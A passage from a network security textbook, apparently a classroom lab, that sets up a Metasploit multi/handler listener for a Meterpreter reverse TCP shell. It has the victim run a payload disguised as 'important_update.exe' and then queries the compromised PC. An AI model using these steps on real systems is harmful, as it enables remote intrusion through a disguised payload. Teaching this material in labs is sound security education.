- Applied Network Security
- Arthur Salmon Warun Levesque Michael McLafferty
- 235字
- 2021-07-02 23:31:02
Starting the listener
First, we need to start our listener:
- Open Metasploit by typing msfconsole.
- Type use exploit/multi/handler.
- As stated before, we will be using meterpreter reverse_tcp payload. To set the payload, type the following:
set payload windows /meterpreter/reverse_tcp
This module doesn't have any settings that we can touch by default, so we need to add a payload. This tells the module what sort of reverse shell we're listening for; it'll help manage it for us:

- use exploit/multi/handler: handles the incoming connection
- set payload windows/meterpreter/reverse_tcp: reverses the TCP payload
- show options: shows the available options to set
- We also need to set up the LHOST and LPORT and make sure they're the same as the ones you set up in Step 3.
Then type Set lhost 192.168.10.50 Set lport 8080:
Set lhost 192.168.10.50 Set lport 8080

- Our handler is ready to receive the connection on port 8080.
- Type exploit to start the exploit.
Make sure that you transfer the important_update.exe file with the payload onto the victim computer the best way you can. Please contact your professor for assistance if needed.
Run the payload on the victim PC:

- Run the important-update on Server 2012:

- When you send the exploit to the victim, and the victim executes it, we get this:

- Type ? on the terminal to see the options available:

- Type sysinfo to make sure you can get information from the victim PC:

推薦閱讀
- 信息安全導(dǎo)論(在線實(shí)驗(yàn)+在線自測(cè))
- 網(wǎng)絡(luò)安全應(yīng)急管理與技術(shù)實(shí)踐
- 計(jì)算機(jī)病毒原理與防范(第2版)
- 工業(yè)物聯(lián)網(wǎng)安全
- 軟件開(kāi)發(fā)安全之道:概念、設(shè)計(jì)與實(shí)施
- 網(wǎng)絡(luò)安全技術(shù)及應(yīng)用(第3版)
- 從0到1:CTFer成長(zhǎng)之路
- Instant Java Password and Authentication Security
- Kerberos域網(wǎng)絡(luò)安全從入門(mén)到精通
- 先進(jìn)云安全研究與實(shí)踐
- 信息技術(shù)基礎(chǔ):提高篇·實(shí)驗(yàn)與習(xí)題
- 信息安全工程與實(shí)踐
- 數(shù)字政府網(wǎng)絡(luò)安全合規(guī)性建設(shè)指南:密碼應(yīng)用與數(shù)據(jù)安全
- 數(shù)字銀行安全體系構(gòu)建
- 從實(shí)踐中學(xué)習(xí)Nmap滲透測(cè)試